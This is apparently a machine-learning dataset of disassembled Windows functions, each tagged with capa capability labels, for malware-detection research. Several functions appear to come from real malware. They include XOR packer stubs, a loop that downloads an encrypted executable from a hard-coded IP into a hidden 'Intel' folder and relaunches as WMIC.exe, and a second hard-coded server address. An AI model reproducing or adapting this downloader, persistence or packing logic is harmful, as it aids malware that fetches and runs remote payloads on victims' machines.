joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10032866
Capabilities:
Delete registry value

Disassembly:
mov eax, 0x10057aef
call fcn.100568f8
sub esp, 0x20
cmp byte [ebp + 8], 0
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], esi
je 0x1003296e
mov dword [ebp - 0x18], 0x6c79
cmp dword [ebp - 0x18], 0x6f9d
jle 0x100328db
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
xor edi, edi
xor ebx, ebx
xor esi, esi
mov ecx, esi
mov eax, ebx
shl eax, cl
mov ecx, 0x1006f958
and eax, edi
cdq
push edx
push eax
call fcn.10001c9b
inc esi
cmp esi, 0x6c02
jl 0x100328a8
inc ebx
cmp ebx, 0x40a0
jl 0x100328a6
inc edi
cmp edi, 0xac2
jl 0x100328a4
mov esi, dword [ebp - 0x1c]
and dword [ebp - 4], 0
cmp dword [ebp - 0x18], 0x6a9c
jge 0x10032916
mov edx, str.nzxyoz_xsyecw_fgdycgrb_udsip_qkkxmian_ukxgf_abyxyglds_nkf_tmid_kjpmtevr_qxomwf_sboe_ouuvy_fqmgyzrfj
mov ecx, 0x1006f958
call fcn.1000366a
jmp 0x10032916
or dword [ebp - 4], 0xffffffff
mov dword [esi], 5
cmp dword [esi], 4
jne 0x1003298a
mov edi, dword [ebp + 0x10]
push ecx
push 0xa1d
push dword [ebp + 0x14]
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0xffffffff
push edi
push eax
push ecx
mov ecx, dword [ebp + 0x1c]
lea eax, [ebp - 0x24]
push 0
mov dword [ebp - 0x24], 0x920a6ff6
lea edx, [ebp - 0x28]
mov dword [ebp - 0x28], 0xadd63529
push eax
call fcn.10031486
add esp, 0x20
cmp dword [edi], 0
jne 0x1003298a
dec dword [esi]
cmp dword [esi], 4
je 0x10032928
jmp 0x1003298a
mov byte [ebp - 0x11], 0
cmp byte [ebp - 0x11], 0
je 0x1003298a
push 0xf35
push 0x10bc
push 0
call dword [sym.imp.USER32.dll_RemoveMenu]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x42e003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
cmp eax, 0
nop
nop
nop
nop
je 0x42e072
nop
nop
mov ebx, 0x407ef8
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x2d642626
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x42e060
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x42e0d2
nop
mov ebx, 0x42cd70
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
mov esi, 0x785d1199
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x4050a0
Capabilities:
Delete file
Enumerate gui resources

Disassembly:
mov eax, 0x1454
call fcn.00416790
mov eax, dword [0x70b7ec]
mov ecx, dword [0x7086f4]
push ebx
push ebp
shr eax, 3
push esi
push edi
test eax, eax
jbe 0x405213
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateActCtxW]
mov ebp, dword [sym.imp.KERNEL32.dll_DnsHostnameToComputerNameA]
mov esi, dword [sym.imp.KERNEL32.dll_GetCommState]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], eax
cmp dword [0x70b7ec], 0x959
jne 0x4051f9
push 0
push 0
call edi
lea eax, [esp + 0x40]
push eax
call ebx
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x864]
push edx
push 0
call ebp
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteProfileSectionW]
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x64]
push ecx
push 0
push 0x403734
push 0x403754
push 0x403774
call dword [sym.imp.KERNEL32.dll_SearchPathA]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoExW]
lea edx, [esp + 0x24]
push edx
push 0
call esi
push 0
push 0
lea eax, [esp + 0xc68]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push 0
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
lea ecx, [esp + 0x464]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriorityBoost]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleA]
push 0
push 0x403788
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
push 0
push 0x4037e8
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
push 0
push 0x4037ec
push 0x4037f8
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
push 0x403820
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov edx, dword [esp + 0x14]
push edx
call fcn.00404ec0
add dword [esp + 0x14], 8
sub dword [esp + 0x18], 1
jne 0x4050e4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1454
ret
Function at 0x408c5d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x44a238]
jne 0x408c67
repz ret
jmp fcn.00410e7c

Function at 0x414991
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040ef16
and dword [ebp - 4], 0
cmp dword [0x44da38], 0
mov ebx, eax
jne 0x414a42
push 0x402db0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x414af3
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402da4
push edi
call esi
test eax, eax
je 0x414af3
push eax
call fcn.0040eea4
mov dword [esp], 0x402d94
push edi
mov dword [0x44da38], eax
call esi
push eax
call fcn.0040eea4
mov dword [esp], 0x402d80
push edi
mov dword [0x44da3c], eax
call esi
push eax
call fcn.0040eea4
mov dword [esp], 0x402d64
push edi
mov dword [0x44da40], eax
call esi
push eax
call fcn.0040eea4
pop ecx
mov dword [0x44da48], eax
test eax, eax
je 0x414a42
push 0x402d4c
push edi
call esi
push eax
call fcn.0040eea4
pop ecx
mov dword [0x44da44], eax
mov eax, dword [0x44da44]
cmp eax, ebx
je 0x414a9a
cmp dword [0x44da48], ebx
je 0x414a9a
push eax
call fcn.0040ef1f
push dword [0x44da48]
mov esi, eax
call fcn.0040ef1f
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x414a9a
test edi, edi
je 0x414a9a
call esi
test eax, eax
je 0x414a91
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x414a91
test byte [ebp - 0xc], 1
jne 0x414a9a
or dword [ebp + 0x10], 0x200000
jmp 0x414ad3
mov eax, dword [0x44da3c]
cmp eax, ebx
je 0x414ad3
push eax
call fcn.0040ef1f
pop ecx
test eax, eax
je 0x414ad3
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x414ad3
mov eax, dword [0x44da40]
cmp eax, ebx
je 0x414ad3
push eax
call fcn.0040ef1f
pop ecx
test eax, eax
je 0x414ad3
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x44da38]
call fcn.0040ef1f
pop ecx
test eax, eax
je 0x414af3
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x414af5
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x409978
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x409a4b
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x409a64
push ebx
push 0x409a70
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.00403388
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.00402750
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.004033e8
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x4099f8
mov al, 0x69
call fcn.0040961c
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.0040994c
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
dec eax
je 0x409a01
call fcn.0040994c
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409a52
lea eax, [ebp - 4]
call fcn.0040316c
ret

Function at 0x409b04
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409bb8
jmp 0x409bad
cmp dword [esi + 0x10], 0x1000
jne 0x409b99
test byte [esi + 0x15], 1
jne 0x409b99
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409b58
cmp eax, 2
je 0x409b58
cmp eax, 0x10
je 0x409b58
cmp eax, 0x20
jne 0x409b6d
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409b6d
mov bl, 1
xor ebp, ebp
jmp 0x409b7e
mov eax, dword [esi]
add eax, ebp
call fcn.00409afc
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x409b71
test bl, bl
je 0x409b99
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409bb8
mov eax, dword [esi + 4]
cmp eax, edi
je 0x409b30
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43300c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43301e
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x4022d0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24
mov eax, dword [0x42a6dc]
xor eax, esp
mov dword [esp + 0x20], eax
push ebx
mov ebx, ecx
push esi
cmp dword [ebx + 0x40], 0
push edi
je 0x402414
cmp byte [ebx + 0x45], 0
je 0x402414
mov eax, dword [ebx]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x40231d
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.0040903f
mov esp, ebp
pop ebp
ret
mov ecx, 0xf
mov byte [esp + 0x14], 0
xorps xmm0, xmm0
movq qword [esp + 0x14], xmm0
lea eax, [esp + 0x14]
cmp ecx, 0x10
cmovae eax, dword [esp + 0x14]
mov dword [esp + 0x28], ecx
mov dword [esp + 0x24], 8
mov byte [eax + 8], 0
lea esp, [esp]
cmp dword [esp + 0x28], 0x10
mov ecx, dword [ebx + 0x40]
lea eax, [esp + 0x10]
mov edx, dword [ecx]
push eax
mov eax, dword [esp + 0x28]
lea edi, [esp + 0x18]
cmovae edi, dword [esp + 0x18]
lea esi, [esp + 0x18]
cmovae esi, dword [esp + 0x18]
add eax, edi
push eax
push esi
lea eax, [ebx + 0x48]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x402391
dec eax
je 0x402395
sub eax, 2
je 0x4023eb
xor bl, bl
jmp 0x4023ed
mov byte [ebx + 0x45], 0
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x14]
mov esi, dword [esp + 0x10]
cmp ecx, 0x10
lea eax, [esp + 0x14]
cmovae eax, edx
sub esi, eax
je 0x4023cc
push dword [ebx + 0x50]
cmp ecx, 0x10
push esi
lea eax, [esp + 0x1c]
cmovae eax, edx
push 1
push eax
call fcn.00409f3e
add esp, 0x10
cmp esi, eax
jne 0x40238d
cmp byte [ebx + 0x45], 0
je 0x4023eb
test esi, esi
jne 0x402350
push esi
push 8
lea ecx, [esp + 0x1c]
call fcn.00402000
jmp 0x402350
mov bl, 1
cmp dword [esp + 0x28], 0x10
jb 0x402400
push dword [esp + 0x14]
call fcn.00409339
add esp, 4
mov al, bl
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.0040903f
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x2c]
pop edi
pop esi
pop ebx
xor ecx, esp
mov al, 1
call fcn.0040903f
mov esp, ebp
pop ebp
ret
Function at 0x403d70
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa8
push esi
push edi
push 0
push str.v:Intel
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push str.v:Intel
push 0x104
push 0x42d060
call fcn.00409099
add esp, 0xc
push str._tmp_0.bin
push 0x104
push 0x42d060
call fcn.004090ee
add esp, 0xc
push 0x427e4c
push 0x42d060
call fcn.0040b489
add esp, 8
test eax, eax
je 0x403ddb
push eax
call fcn.0040a720
add esp, 4
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 7
call fcn.00403cf0
mov esi, eax
push esi
call fcn.0040862d
add esp, 4
mov edi, eax
push esi
push 0x40
push edi
call fcn.0040dc80
add esp, 0xc
push 0x42d164
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
sub esp, 0xc
lea ecx, [ebp - 0xa8]
push 0x42d060
call fcn.00401df0
push 0
push esi
push edi
lea ecx, [ebp - 0xa8]
call section..text
lea ecx, [ebp - 0xa4]
call fcn.00402180
test eax, eax
jne 0x403e6c
mov eax, dword [ebp - 0xa8]
lea ecx, [ebp - 0xa8]
mov eax, dword [eax + 4]
add ecx, eax
mov eax, dword [ecx + 0xc]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x403e5a
or eax, 4
and eax, 0x17
mov dword [ecx + 0xc], eax
test dword [ecx + 0x10], eax
je 0x403e6c
push 0
call fcn.00403af0
push 0x42d164
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push edi
call fcn.00409151
mov eax, dword [ebp - 0xa8]
add esp, 4
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xa8], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xa8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x60]
mov dword [ebp + ecx - 0xac], eax
lea ecx, [ebp - 0xa4]
call fcn.00401510
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xa8], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xa8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0xac], eax
lea eax, [ebp - 0x48]
push eax
mov dword [ebp - 0x48], vtable.std::ios_base.0
call fcn.004085ae
add esp, 4
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4043b0
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
xor esi, esi
mov dword [edi + 0x14], 0xf
mov dword [edi + 0x10], 0
mov byte [edi], 0
test ebx, ebx
je 0x40453c
lea esp, [esp]
mov al, byte [edx]
mov byte [ebp + esi - 8], al
mov ah, byte [ebp - 6]
mov ch, byte [ebp - 7]
mov cl, byte [ebp - 8]
inc esi
inc edx
dec ebx
mov dword [ebp - 0x10], edx
mov byte [ebp - 2], ah
mov byte [ebp + 0xb], ch
mov byte [ebp - 1], cl
cmp esi, 3
jne 0x404475
mov al, cl
shr al, 2
mov byte [ebp - 0xc], al
and cl, 3
shl cl, 4
mov al, ch
shr al, 4
add cl, al
mov byte [ebp - 0xb], cl
mov cl, ch
and cl, 0xf
mov al, ah
shr al, 6
shl cl, 2
add cl, al
mov al, ah
and al, 0x3f
mov byte [ebp - 0xa], cl
mov byte [ebp - 9], al
xor esi, esi
jmp 0x404440
cmp dword [0x42bf98], 0x10
movzx eax, byte [ebp + esi - 0xc]
mov ecx, 0x42bf84
cmovae ecx, dword [0x42bf84]
movzx eax, byte [eax + ecx]
push eax
mov ecx, edi
call fcn.00404a80
inc esi
cmp esi, 4
jl 0x404440
mov edx, dword [ebp - 0x10]
mov ch, byte [ebp + 0xb]
mov cl, byte [ebp - 1]
xor esi, esi
test ebx, ebx
jne 0x4043e0
mov dword [ebp + 8], esi
test esi, esi
je 0x40453c
mov eax, esi
cmp esi, 3
jge 0x4044ae
cmp eax, 3
jae 0x404545
mov byte [ebp + eax - 8], 0
inc eax
cmp eax, 3
jl 0x404492
mov dl, byte [ebp - 6]
mov ch, byte [ebp - 7]
mov cl, byte [ebp - 8]
jmp 0x4044b1
mov dl, byte [ebp - 2]
mov al, cl
shr al, 2
mov byte [ebp - 0xc], al
mov al, ch
and cl, 3
shr al, 4
shl cl, 4
add cl, al
and ch, 0xf
mov al, dl
shr al, 6
shl ch, 2
add ch, al
lea eax, [esi + 1]
and dl, 0x3f
xor ebx, ebx
mov byte [ebp - 0xb], cl
mov byte [ebp - 0xa], ch
mov byte [ebp - 9], dl
mov dword [ebp - 0x10], eax
test eax, eax
jle 0x40451c
mov esi, eax
lea ecx, [ecx]
cmp dword [0x42bf98], 0x10
movzx eax, byte [ebp + ebx - 0xc]
mov ecx, 0x42bf84
cmovae ecx, dword [0x42bf84]
movzx eax, byte [eax + ecx]
push eax
mov ecx, edi
call fcn.00404a80
inc ebx
cmp ebx, esi
jl 0x4044f0
mov esi, dword [ebp + 8]
cmp esi, 3
jge 0x40453c
mov ebx, 3
sub ebx, esi
jmp 0x404530
push 0x3d
mov ecx, edi
call fcn.00404a80
dec ebx
jne 0x404530
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.0040ab49
int3
Function at 0x405860
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3dc
mov eax, dword [0x42a6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
push str.http:__
push edi
mov dword [ebp - 0x3d4], edx
call fcn.0040ae70
mov esi, eax
add esp, 8
test esi, esi
je 0x405897
add esi, 7
jmp 0x405899
mov esi, edi
push 0x427d40
push esi
call fcn.0040ae70
add esp, 8
test eax, eax
je 0x405968
push 0x427d40
push esi
call fcn.0040ae70
sub eax, esi
push eax
push esi
lea eax, [ebp - 0x48]
push 0x40
push eax
call fcn.0040acdd
push 0x427d40
push esi
call fcn.0040ae70
push eax
lea eax, [ebp - 0x1d0]
push 0x104
push eax
call fcn.00409099
add esp, 0x2c
lea eax, [ebp - 0x3d0]
push 0
push 1
push 0x200
push eax
lea edx, [ebp - 0x1d0]
lea ecx, [ebp - 0x48]
call fcn.00405330
add esp, 0x10
test al, al
je 0x405968
push ecx
lea eax, [ebp - 0xc8]
push eax
lea ecx, [ebp - 0x3d0]
call fcn.00405270
add esp, 8
test al, al
je 0x405968
lea eax, [ebp - 0xc8]
push eax
call fcn.0040ae46
add esp, 4
mov ebx, eax
push ebx
call fcn.0040862d
add esp, 4
mov esi, eax
push 1
push 0
push ebx
push esi
lea edx, [ebp - 0x1d0]
lea ecx, [ebp - 0x48]
call fcn.00405330
add esp, 0x10
test al, al
jne 0x40597b
push esi
call fcn.00409151
add esp, 4
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040903f
mov esp, ebp
pop ebp
ret
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push dword [ebp - 0x3d4]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40595f
push 0
lea eax, [ebp - 0x3d8]
push eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call fcn.00409151
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
pop edi
pop esi
mov al, 1
pop ebx
call fcn.0040903f
mov esp, ebp
pop ebp
ret
Function at 0x406150
Capabilities:
Create process on windows
Delete file
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x378
mov eax, dword [0x42a6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x103
lea eax, [ebp - 0x31f]
push 0
push eax
mov byte [ebp - 0x320], 0
call fcn.0040dc80
add esp, 0xc
lea eax, [ebp - 0x217]
push 0x103
push 0
push eax
mov byte [ebp - 0x218], 0
call fcn.0040dc80
add esp, 0xc
lea eax, [ebp - 0x10f]
push 0x103
push 0
push eax
mov byte [ebp - 0x110], 0
call fcn.0040dc80
add esp, 0xc
push 2
push str.v:Intel
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push str.v:Intel
lea eax, [ebp - 0x218]
push 0x104
push eax
call fcn.00409099
add esp, 0xc
lea eax, [ebp - 0x218]
push 0x4278a0
push 0x104
push eax
call fcn.004090ee
add esp, 0xc
lea eax, [ebp - 0x218]
push str.WMIC.exe
push 0x104
push eax
call fcn.004090ee
add esp, 0xc
lea eax, [ebp - 0x320]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x218]
lea ecx, [ebp - 0x320]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x406254
test dl, dl
je 0x406250
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x406254
add ecx, 2
add eax, 2
test dl, dl
jne 0x406234
xor eax, eax
jmp 0x406259
sbb eax, eax
or eax, 1
test eax, eax
je 0x4062ca
lea edx, [ebp - 0x218]
lea ecx, [ebp - 0x320]
call fcn.00407ce0
push 0x40
lea eax, [ebp - 0x374]
push 0
push eax
mov dword [ebp - 0x378], 0x44
call fcn.0040dc80
add esp, 0xc
lea eax, [ebp - 0x330]
push eax
lea eax, [ebp - 0x378]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x218]
push eax
push 0
mov dword [ebp - 0x34c], 0x80
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4062ca
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00407900
push str.v:Intel
lea eax, [ebp - 0x110]
push 0x104
push eax
call fcn.00409099
add esp, 0xc
lea eax, [ebp - 0x110]
push str._backup.exe
push 0x104
push eax
call fcn.004090ee
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0xc
lea ecx, [ecx]
lea eax, [ebp - 0x110]
push 0x427e4c
push eax
call fcn.0040b489
add esp, 8
test eax, eax
je 0x406333
push eax
call fcn.0040a720
add esp, 4
jmp 0x40635b
lea eax, [ebp - 0x110]
push eax
call esi
lea edx, [ebp - 0x110]
mov ecx, str.http:__92.63.100.128_tools_RegWriter.exe.raum_encrypted
call fcn.00405860
test al, al
je 0x40635b
lea ecx, [ebp - 0x110]
call fcn.00404710
lea ecx, [ebp - 0x110]
call fcn.00407a20
test al, al
jne 0x40637c
lea eax, [ebp - 0x110]
push eax
call esi
push 0x2bf20
call edi
jmp 0x406310
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov al, 1
pop esi
call fcn.0040903f
mov esp, ebp
pop ebp
ret
Function at 0x406650
Capabilities:
Create directory
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x67c
mov eax, dword [0x42a6dc]
xor eax, esp
mov dword [esp + 0x678], eax
push ebx
push esi
push edi
push 0x103
lea eax, [esp + 0x75]
push 0
push eax
mov byte [esp + 0x7c], 0
call fcn.0040dc80
add esp, 0xc
lea eax, [esp + 0x179]
push 0x103
push 0
push eax
mov byte [esp + 0x184], 0
call fcn.0040dc80
add esp, 0xc
push 0x400
push 0x42d164
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
push str.SystemDrive
call fcn.0040b25e
mov al, byte [eax]
add esp, 4
mov byte [str.v:Intel], al
call fcn.004065d0
push str.v:Intel
push 0x104
push 0x42d180
call fcn.00409099
add esp, 0xc
push str.updates
push 0x104
push 0x42d180
call fcn.004090ee
add esp, 0xc
push 0
push 0x42d180
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push str.188.40.249.80
lea eax, [esp + 0x284]
push 0x400
push eax
call fcn.00409099
add esp, 0xc
xor ecx, ecx
call fcn.00406390
test al, al
je 0x4067fc
cmp byte [0x42d288], 0
je 0x4067fc
mov ecx, dword [0x42d394]
sub ecx, dword [0x42d390]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
xor esi, esi
test eax, eax
jle 0x4067fc
xor edi, edi
jmp 0x406770
push 0x427e18
lea eax, [esp + 0x284]
push 0x400
push eax
call fcn.004090ee
mov ecx, dword [0x42d394]
mov ebx, dword [0x42d390]
sub ecx, ebx
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
add esp, 0xc
cmp eax, esi
jbe 0x406875
cmp dword [edi + ebx + 0x14], 0x10
lea eax, [edi + ebx]
jb 0x4067bd
mov eax, dword [eax]
push eax
lea eax, [esp + 0x284]
push 0x400
push eax
call fcn.004090ee
mov ecx, dword [0x42d394]
sub ecx, dword [0x42d390]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
inc esi
add eax, edx
add esp, 0xc
add edi, 0x18
cmp esi, eax
jl 0x406770
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x284]
push 0x427e18
push eax
call fcn.0040b2da
add esp, 0xc
test eax, eax
je 0x406843
lea ebx, [ebx]
mov ecx, eax
call fcn.00406390
test al, al
jne 0x406843
lea eax, [esp + 0x14]
push eax
push 0x427e18
push 0
call fcn.0040b2da
add esp, 0xc
test eax, eax
jne 0x406820
cmp byte [0x42d288], 0
je 0x40687f
mov ecx, 0x42d288
call fcn.00407570
mov ecx, dword [0x42d38c]
mov edx, 0x1e
lea eax, [ecx - 1]
cmp eax, 0xb3
cmovbe edx, ecx
imul edx, edx, 0xea60
push edx
jmp 0x406884
push str.invalid_vector_T__subscript
call fcn.00408755
push 0x1b7740
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.v:Intel
lea eax, [esp + 0x74]
push 0x104
push eax
call fcn.00409099
add esp, 0xc
lea eax, [esp + 0x70]
push str._backup.exe
push 0x104
push eax
call fcn.004090ee
add esp, 0xc
lea ecx, [esp + 0x70]
jmp section..htext